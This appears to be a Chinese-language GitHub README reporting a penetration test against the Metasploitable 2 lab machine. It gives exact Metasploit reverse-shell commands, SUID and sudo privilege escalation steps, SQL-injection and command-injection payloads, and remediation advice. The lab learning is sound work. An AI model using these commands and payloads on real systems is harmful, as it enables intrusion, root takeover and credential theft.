santoshbathala/Metasploitable2-VAPT-Project
GitHub: santoshbathala/Metasploitable2-VAPT-Project
一份针对 Metasploitable 2 靶场的完整 VAPT 渗透测试报告,记录了八个漏洞的发现与利用过程,涵盖网络服务攻击、Web 应用漏洞和权限提升技术。
Stars: 0 | Forks: 0
# 🔐 漏洞评估与渗透测试报告
### 目标: Metasploitable 2 | 攻击机: Kali Linux | 实验环境: VirtualBox (隔离)
**作者:** Santosh Bathala | **日期:** 2026年4月 | **环境:** 受控实验室 — 仅供教育用途
[](https://www.metasploit.com/)
[](https://www.kali.org/)
[](https://www.virtualbox.org/)
[]()
[]()
## ⚠️ 免责声明
## 📖 简介
本报告记录了针对 **Metasploitable 2** 进行的实战**漏洞评估与渗透测试 (VAPT)**。Metasploitable 2 是由 Rapid7 维护的一台故意存在漏洞的 Linux 虚拟机,专门为练习渗透测试技术而设计。
本次练习的目标是在一个安全、隔离的环境中模拟真实的攻击者场景:枚举服务,识别可利用的漏洞,获取初始访问权限,提升特权,并以专业格式记录发现的结果。
在本次评估过程中,共发现并成功利用了 **8 个漏洞**,涵盖**网络服务、默认凭据、后门软件和 Web 应用程序弱点**。其中五个漏洞直接导致**root 级别 (uid=0) 的系统沦陷**。
本项目展示了核心进攻性安全技能的实际应用,包括:
- 使用 Metasploit Framework 进行网络层漏洞利用
- 通过滥用 SUID 二进制文件和 `sudo` 错误配置进行权限提升
- Web 应用程序攻击(SQL 注入、XSS、OS 命令注入)
- 发现结果的记录与专业报告撰写
## 🧠 展示的技能
| 类别 | 技能 |
|----------|--------|
| **侦察** | 网络扫描,使用 `nmap` 进行服务指纹识别 |
| **漏洞利用** | Metasploit Framework,手动 Payload 制作,WAR 文件部署 |
| **权限提升** | 滥用 SUID 二进制文件 (`nmap --interactive`),通过 admin 组使用 `sudo su` |
| **Web 应用程序测试** | SQL 注入 (基于 UNION),存储型 XSS,OS 命令注入 |
| **凭据攻击** | 利用 PostgreSQL, Tomcat, VNC, Telnet 的默认凭据 |
| **后渗透** | 文件系统枚举,提取 `/etc/passwd`,Meterpreter 会话 |
| **报告撰写** | 包含 CVE 参考、CVSS 评分和修复建议的结构化 VAPT 报告 |
| **工具** | Metasploit, nmap, vncviewer, telnet, Burp Suite 概念, Firefox DevTools |
## 📋 目录
1. [实验室环境配置](#-lab-setup)
2. [执行摘要](#-executive-summary)
3. [利用的漏洞](#-vulnerabilities-exploited)
- [3.1 PostgreSQL 远程代码执行](#31-postgresql-remote-code-execution)
- [3.2 UnrealIRCd 后门](#32-unrealircd-backdoor)
- [3.3 VNC 未授权访问](#33-vnc-unauthorized-access)
- [3.4 Tomcat Manager 上传 RCE](#34-tomcat-manager-upload-rce)
- [3.5 Telnet 默认凭据](#35-telnet-default-credentials)
- [3.6 DVWA — SQL 注入](#36-dvwa--sql-injection)
- [3.7 DVWA — 存储型 XSS](#37-dvwa--stored-cross-site-scripting-xss)
- [3.8 DVWA — 命令注入](#38-dvwa--os-command-injection)
4. [权限提升总结](#-privilege-escalation-summary)
5. [发现总结](#-findings-summary)
6. [修复建议](#-recommendations)
7. [使用的工具](#-tools-used)
8. [结论](#-conclusion)
## 🖥️ 实验室环境配置
| 组件 | 详情 |
|-----------|---------|
| **攻击机** | Kali Linux — IP: `10.1.169.188` |
| **目标机** | Metasploitable 2 — IP: `10.1.184.240` |
| **Hypervisor** | Oracle VirtualBox |
| **网络模式** | 仅主机 / 内部网络 (完全隔离,无互联网) |
| **Metasploit 版本** | Framework v6.4.103-dev |
| **截图文件夹** | `./VAPT` |
## 📊 执行摘要
| 指标 | 值 |
|--------|-------|
| **发现漏洞总数** | 8 |
| **严重程度** | 7 |
| **高危** | 1 |
| **Root 级别沦陷** | 5/8 |
| **攻击向量** | 网络服务,Web 应用程序,默认凭据,后门软件 |
本次评估通过多条独立的攻击路径导致了**系统完全沦陷**。能够访问该系统网络的攻击者只需极少的精力即可获得完全控制权,这证明了默认凭据、未修补软件和缺乏输入验证所造成的严重影响。
## 🔓 利用的漏洞
### 3.1 PostgreSQL 远程代码执行
| 字段 | 详情 |
|-------|---------|
| **CVE** | CVE-2007-3278 |
| **模块** | `exploit/linux/postgres/postgres_payload` |
| **严重程度** | 🔴 严重 |
| **CVSS 评分** | 9.0 |
| **端口** | 5432 |
| **获得的权限** | root (通过 SUID 提权) |
#### 描述
PostgreSQL 服务正使用**默认凭据** (`postgres:postgres`) 运行,且对远程连接没有任何限制。Metasploit 模块滥用了 `COPY TO/FROM PROGRAM` 功能上传并执行恶意的共享库,开启了一个 Meterpreter 反向 shell。在以 `postgres` OS 用户身份落地后,SUID 二进制文件枚举发现 `nmap` 设置了 SUID 位,随后被用来提权至 root。
#### 攻击步骤
```
msf > use exploit/linux/postgres/postgres_payload
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 10.1.184.240
msf exploit(linux/postgres/postgres_payload) > set USERNAME postgres
msf exploit(linux/postgres/postgres_payload) > set PASSWORD postgres
msf exploit(linux/postgres/postgres_payload) > set LHOST 10.1.169.188
msf exploit(linux/postgres/postgres_payload) > exploit
# 进入 shell 后:
find / -perm -4000 2>/dev/null # Enumerate SUID binaries
nmap --interactive # Launch SUID nmap
nmap> !sh # Drop to root shell
whoami # → root
```
#### 结果
✅ 以 `postgres` 用户身份开启 Meterpreter 会话 → 通过 SUID `nmap --interactive` 提权至 **root**
#### 证据
**步骤 1 — 漏洞利用配置和 Payload 交付:**

*Metasploit postgres_payload 模块配置了默认凭据,Payload 已暂存并上传*
**步骤 2 — 获取 Shell + SUID 枚举 + root 提权:**

*Meterpreter shell 已脱落,`find / -perm -4000` 发现了 SUID `nmap`,使用 `nmap --interactive` 提权至 root (`whoami → root`)*
**步骤 3 — 确认 root 身份,导出 `/etc/passwd`:**

*以 root 身份从 `root@metasploitable:/etc#` 读取完整的 `/etc/passwd` 内容*
### 3.2 UnrealIRCd 后门
| 字段 | 详情 |
|-------|---------|
| **CVE** | CVE-2010-2075 |
| **模块** | `exploit/unix/irc/unreal_ircd_3281_backdoor` |
| **严重程度** | 🔴 严重 |
| **CVSS 评分** | 10.0 |
| **端口** | 6667 (IRC) |
| **获得的权限** | root (直接获得 — 服务以 root 身份运行) |
#### 描述
UnrealIRCd 3.2.8.1 版本在发布时带有**供应链后门**,这是由恶意行为者故意插入到源代码中的。向 IRC 端口发送特殊构造的前缀字符串即可触发任意命令执行。该服务以 root 身份运行,意味着不需要进行权限提升 — 初始访问权限已经是 root。
#### 攻击步骤
```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit > set RHOSTS 10.1.184.240
msf exploit > set LHOST 10.1.169.188
msf exploit > set PAYLOAD cmd/unix/reverse
msf exploit > exploit
# 即时 shell:
whoami # → root
id # → uid=0(root) gid=0(root)
```
#### 结果
✅ 瞬间获得 **root shell** — 无需额外提权。CVSS 10.0。
#### 证据
**后门触发 — 确认 `uid=0(root)` 的 root shell:**

*通过 IRC 后门立即打开的命令 shell 会话;`whoami` 返回 `root`,`id` 确认 `uid=0(root) gid=0(root)`*
### 3.3 VNC 未授权访问
| 字段 | 详情 |
|-------|---------|
| **CVE** | N/A (配置错误) |
| **工具** | `vncviewer` (TightVNC) |
| **严重程度** | 🔴 严重 |
| **端口** | 5900 (VNC) |
| **获得的权限** | root (GUI 桌面会话) |
#### 描述
VNC 服务暴露在 5900 端口,仅受**弱/默认密码**保护。使用 `vncviewer` 连接时,身份验证成功并呈现了一个以 root 身份运行的**完整图形桌面会话**。VNC 会话标题栏明确显示:*"TightVNC: root's X desktop (metasploitable:0)"*。
#### 攻击步骤
```
vncviewer 10.1.184.240
# 在提示处输入 VNC 密码
# → 桌面: "TightVNC: root 的 X 桌面 (metasploitable:0)"
# 在 VNC 终端中:
whoami # → root
```
#### 结果
✅ 获得完整的 **root GUI 桌面访问权限**。完全控制目标系统的图形界面。
#### 证据
**通过 VNC 获得的完整 root 桌面会话:**

*以 root 身份打开的 TightVNC 会话 — 标题栏确认 "root's X desktop (metasploitable:0)",终端中的 `whoami` 返回 `root`*
### 3.4 Tomcat Manager 上传 RCE
| 字段 | 详情 |
|-------|---------|
| **CVE** | CVE-2009-3843 |
| **模块** | `exploit/multi/http/tomcat_mgr_upload` |
| **严重程度** | 🔴 严重 |
| **CVSS 评分** | 9.3 |
| **端口** | 8180 (HTTP) |
| **获得的权限** | `tomcat55` 用户 |
#### 描述
Apache Tomcat 的 Manager Web 界面可以通过 8180 端口访问,且使用了**默认凭据** (`tomcat:tomcat`)。Metasploit 模块对 Manager 进行身份验证后,制作了一个包含 JSP 反向 shell 的恶意 WAR (Web Application Archive) 文件,部署并触发了执行 — 开启了一个 `tomcat55` 服务账户的 Meterpreter 会话。
#### 攻击步骤
```
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit > set RHOSTS 10.1.184.240
msf exploit > set LHOST 10.1.169.188
msf exploit > set RPORT 8180
msf exploit > set HttpUsername tomcat
msf exploit > set HttpPassword tomcat
msf exploit > exploit
meterpreter > getuid # → Server username: tomcat55
meterpreter > pwd # → /
meterpreter > ls # Root filesystem browsable
```
#### 结果
✅ 以 **`tomcat55`** 身份开启 Meterpreter 会话。完全的文件系统访问权限;可能进行进一步的提权。
#### 证据
**WAR 文件已部署 — 以 tomcat55 身份建立 Meterpreter 会话:**

*Tomcat Manager WAR 上传成功;以 `tomcat55` 身份开启 Meterpreter 会话;`getuid` 确认用户身份;`ls /` 显示完整的 root 文件系统*
### 3.5 Telnet 默认凭据
| 字段 | 详情 |
|-------|---------|
| **CVE** | N/A (默认凭据 + 不安全协议) |
| **工具** | `telnet` |
| **严重程度** | 🔴 严重 |
| **端口** | 23 (Telnet) |
| **获得的权限** | root (通过 `sudo su`) |
#### 描述
Telnet 服务正在运行,并在其横幅中公开默认凭据:*"Login with msfadmin/msfadmin to get started"*。以 `msfadmin` 登录后,发现该用户是具有不受限制 `sudo` 访问权限的 `admin` 组成员。只需一条 `sudo su` 命令加上相同的密码即可获得完整的 root 访问权限。此外,Telnet 以**明文**形式传输所有凭据,使其具有双重危险性。
#### 攻击步骤
```
telnet 10.1.184.240
# Login: msfadmin
# Password: msfadmin
msfadmin@metasploitable:~$ whoami # → msfadmin
msfadmin@metasploitable:~$ id # → uid=1000(msfadmin) groups=4(adm),112(admin)...
msfadmin@metasploitable:~$ sudo su
# [sudo] 密码: msfadmin
root@metasploitable:/home/msfadmin# whoami # → root
root@metasploitable:/home/msfadmin# id # → uid=0(root) gid=0(root) groups=0(root)
```
#### 结果
✅ 通过 Telnet 默认凭据 + 不受限制的 `sudo` 获得 **Root 访问权限**。凭据通过网络以明文形式传输。
#### 证据
**Telnet 登录 → sudo su → root:**

*使用 `msfadmin:msfadmin` 的 Telnet 会话;`id` 显示 admin 组成员身份;`sudo su` 提权至 `uid=0(root)`;主机名确认为 `metasploitable`*
### 3.6 DVWA — SQL 注入
| 字段 | 详情 |
|-------|---------|
| **OWASP Top 10** | A03:2021 — 注入 |
| **严重程度** | 🔴 严重 |
| **端口** | 80 (HTTP) |
| **获得的权限** | 完整的数据库读取权限 — 用户表 + 密码哈希 |
#### 描述
DVWA 的 SQL 注入模块直接将用户提供的输入传递到 SQL `SELECT` 查询中,未经过任何清理或参数化处理。演示了两种注入技术:
**Payload 1 — 布尔绕过 (导出所有记录):**
```
1' OR '1'='1
```
返回 `users` 表中的所有行 — 完全绕过了 `WHERE id = X` 过滤器。
**Payload 2 — 基于 UNION 的提取 (密码哈希):**
```
1' UNION SELECT user, password FROM users#
```
追加第二个查询,提取所有用户的 **MD5 哈希密码**:`admin`, `gordonb`, `1337`, `pablo`, `smithy`。
#### 结果
✅ **完整的数据库用户表沦陷。** MD5 哈希已被提取,可使用 `hashcat` 或 `john` 等工具进行离线破解。
#### 证据
**Payload 1 — 通过布尔绕过返回所有用户:**

*`1' OR '1'='1` 返回所有 5 条用户记录:admin, Gordon Brown, Hack Me, Pablo Picasso, Bob Smith*
**Payload 2 — UNION SELECT 导出密码哈希:**

*基于 UNION 的注入提取了所有用户的 MD5 哈希 (例如,admin: `5f4dcc3b5aa765d61d8327deb882cf99` = "password")*
### 3.7 DVWA — 存储型跨站脚本攻击 (XSS)
| 字段 | 详情 |
|-------|---------|
| **OWASP Top 10** | A03:2021 — 注入 (XSS) |
| **严重程度** | 🟠 高危 |
| **端口** | 80 (HTTP) |
| **获得的权限** | 在所有访问者的浏览器中持久执行 JS |
#### 描述
DVWA 的留言板功能在存储和重新渲染用户输入时没有进行任何清理或输出编码。注入到消息字段中的 JavaScript Payload 被**持久化到数据库**中,并在每位用户访问该页面时在其浏览器中执行 — 这就是**存储型 (持久) XSS**,是影响最大的一种 XSS 变体。
当通过 URL 的 `name` 参数注入时,同样的 Payload 也会通过反射型 XSS 页面触发,证明该应用程序容易受到这两种类型 XSS 的攻击。
**使用的 Payload:**
```
```
在真实攻击中,此 Payload 将被替换为 Cookie 窃取器、键盘记录器或会话劫持脚本。
#### 结果
✅ JavaScript alert 会在每次页面访问时持续执行。**该应用程序的所有用户都会受到影响。**
#### 证据
**存储型 XSS — 页面加载时触发 alert:**

*XSS Payload 被注入到留言板的姓名/消息字段;`alert('Stored XSS!')` 对话框从 `10.1.184.240` 触发*
**反射型 XSS — 相同的 Payload 通过 URL 参数触发:**

*XSS Payload 也通过 `xss_r` 反射端点执行 — URL 栏显示了作为 `name` 参数注入的编码后 script 标签*
### 3.8 DVWA — OS 命令注入
| 字段 | 详情 |
|-------|---------|
| **OWASP Top 10** | A03:2021 — 注入 |
| **严重程度** | 🔴 严重 |
| **端口** | 80 (HTTP) |
| **获得的权限** | 以 Web 服务器用户身份执行任意 OS 命令 |
#### 描述
DVWA 的 "Ping for FREE" 功能将用户输入直接传递给系统 shell 调用 (`shell_exec()`),未经过任何清理。通过使用 `&&` 链接 shell 命令,在服务器端执行了任意 OS 命令,并将其输出返回到浏览器中。
**Payload 1 — 基线 (合法的 ping):**
```
10.1.184.240
```
**Payload 2 — 命令注入:**
```
10.1.184.240 && cat /etc/passwd
```
`ping` 首先执行,然后 `cat /etc/passwd` 作为 Web 服务器进程运行,将完整的系统用户文件导出到浏览器。
#### 结果
✅ **完整的 `/etc/passwd` 在浏览器中暴露。** 在真实攻击中,此向量可用于生成反向 shell、窃取数据或进一步在网络中横向移动。
#### 证据
**基线 ping — 正常的命令执行:**

*浏览器中显示的正常 `ping 10.1.184.240` 输出 — 确认了直接的命令执行*
**注入的命令 — `/etc/passwd` 在浏览器中被导出:**

*`10.1.184.240 && cat /etc/passwd` — 完整的 `/etc/passwd` 在浏览器中显示,暴露了所有系统账户,包括 root, postgres, mysql, tomcat55, msfadmin*
## 📈 权限提升总结
| 入口点 | 初始用户 | 提权方法 | 最终权限 |
|-------------|-------------|-------------------|--------------|
| PostgreSQL RCE | `postgres` | SUID `nmap --interactive` → `!sh` | ✅ **root** |
| UnrealIRCd 后门 | `root` (直接) | 不需要 | ✅ **root** |
| VNC | `root` (直接) | 不需要 — 服务以 root 身份运行 | ✅ **root** |
| Tomcat Manager | `tomcat55` | — (未尝试进一步提权) | ⚠️ tomcat55 |
| Telnet | `msfadmin` | `sudo su` (通过 admin 组获得不受限制的 sudo) | ✅ **root** |
## 📋 发现总结
| # | 漏洞 | 服务 | 端口 | 严重程度 | Root? |
|---|--------------|---------|------|----------|-------|
| 1 | PostgreSQL RCE — 默认凭据 | PostgreSQL | 5432 | 🔴 严重 | ✅ 是 |
| 2 | UnrealIRCd 3.2.8.1 后门 (CVE-2010-2075) | IRC | 6667 | 🔴 严重 | ✅ 是 |
| 3 | VNC 弱/默认密码 | VNC | 5900 | 🔴 严重 | ✅ 是 |
| 4 | Tomcat Manager WAR 上传 (CVE-2009-3843) | HTTP/Tomcat | 8180 | 🔴 严重 | ⚠️ 否 |
| 5 | Telnet 默认凭据 + 明文传输 | Telnet | 23 | 🔴 严重 | ✅ 是 |
| 6 | SQL 注入 — 基于 UNION 的数据库导出 | DVWA/MySQL | 80 | 🔴 严重 | ⚠️ 数据库 |
| 7 | 存储型 + 反射型 XSS | DVWA | 80 | 🟠 高危 | ⚠️ 否 |
| 8 | OS 命令注入 — `/etc/passwd` 暴露 | DVWA | 80 | 🔴 严重 | ⚠️ 否 |
**8 个漏洞中有 5 个导致了完全的 root 权限沦陷。**
## 🛡️ 修复建议
| # | 发现 | 建议 | 优先级 |
|---|---------|---------------|----------|
| 1 | 所有服务使用了默认凭据 | 为所有服务强制使用唯一、强壮的密码。在部署后立即禁用或更改默认设置。 | 🔴 严重 |
| 2 | UnrealIRCd 后门 | 更新到经过验证的补丁版本。在部署前务必始终使用校验和/签名验证软件完整性。 | 🔴 严重 |
| 3 | 正在使用 Telnet | **完全禁用 Telnet。** 替换为 SSH (加密)。Telnet 以明文形式发送包括密码在内的所有数据。 | 🔴 严重 |
| 4 | VNC 暴露且身份验证薄弱 | 使用防火墙规则限制 VNC 访问 (仅允许特定 IP)。强制使用强 VNC 密码或切换到基于 NX/SSH 隧道的 VNC。 | 🔴 严重 |
| 5 | Tomcat Manager 暴露 | 将 `/manager` 限制为仅限 localhost 或内部 IP 访问。更改默认凭据。如果不需要,请考虑将其禁用。 | 🔴 严重 |
| 6 | SQL 注入 | 专门使用**参数化查询 / 预处理语句**。绝对不要将用户输入拼接到 SQL 中。实施 WAF 作为额外防护层。 | 🔴 严重 |
| 7 | 存储/反射型 XSS | 在服务器端**清理所有输入**。在渲染前**编码所有输出**。实施内容安全策略 (CSP) 头。 | 🟠 高危 |
| 8 | OS 命令注入 | **绝对不要将用户输入传递给系统调用。** 使用安全的语言 API。将允许的值列入白名单。实施输入验证。 | 🔴 严重 |
| 9 | 滥用 SUID 二进制文件 | 审计并最小化 SUID 二进制文件。移除 `nmap` 的 SUID 位:`sudo chmod -s /usr/bin/nmap`。使用 `find / -perm -4000` 审查所有二进制文件。 | 🔴 严重 |
## 🧰 使用的工具
| 工具 | 版本 / 备注 | 用途 |
|------|----------------|---------|
| **Metasploit Framework** | v6.4.103-dev | 主要的漏洞利用框架 |
| **nmap** | v4.53 (目标 SUID 二进制文件) | 网络扫描 + 权限提升向量 |
| **vncviewer** (TightVNC) | 标准 Kali 版本 | 通过 VNC 进行 GUI 桌面访问 |
| **telnet** | 标准 Kali 版本 | 使用默认凭据测试 Telnet 服务 |
| **Firefox** | 标准 Kali 版本 | Web 应用程序测试 (DVWA) |
| **Kali Linux** | Rolling 发行版 | 攻击者 OS — 完整的渗透测试工具集 |
## ✅ 结论
本次针对 Metasploitable 2 的 VAPT 演示了**默认凭据、未修补软件、供应链后门和缺乏输入验证的叠加组合**是如何创造出一个可以通过多条独立路径被轻易攻陷的系统的。
### 核心要点
| 教训 | 细节 |
|--------|--------|
| **默认凭据是致命风险** | 8 个漏洞中有 4 个是由未更改的默认密码直接导致的 |
| **未修补的软件可被立即利用** | UnrealIRCd 后门 (2010) 仍然存活 — 这是一个存在 16 年之久的漏洞 |
| **不安全的协议放大了风险** | Telnet 以明文形式传输凭据,使得在同一网络中截获凭据变得轻而易举 |
| **Web 应用输入验证不可妥协** | SQLi、XSS 和 CMDi 都源于同一个根本原因:盲目信任用户输入 |
| **权限提升往往易如反掌** | SUID 二进制文件和不受限制的 sudo 经常被忽视,但其影响深远 |
### 最终影响声明
拥有该系统网络访问权限的攻击者无需使用任何高级技术,只需利用公开已知的漏洞和默认凭据,即可**在 5 分钟内获得完全的 root 级别控制权**。这凸显了为什么即使是基本的安全卫生(凭据管理、补丁管理、输入验证)也能对整体安全态势产生巨大的影响。
*本报告是个人网络安全学习项目的一部分生成。*
*所有测试均在隔离的虚拟实验环境中进行 — 未针对或损害任何真实系统。*
**作者: Santosh Bathala | 2026年4月**
标签:AES-256, CISA项目, CTI, IT安全, Metasploitable 2, OWASP Top 10, Sudo滥用, SUID提权, VAPT, VirtualBox, Web安全, Web报告查看器, 免杀, 初始访问, 协议分析, 安全教育, 实验报告, 插件系统, 权限提升, 漏洞评估, 红队评估, 网络 enumeration, 网络安全, 网络安全审计, 网络攻防, 蓝队分析, 隐私保护, 靶场实战, 靶机演练, 黑客技术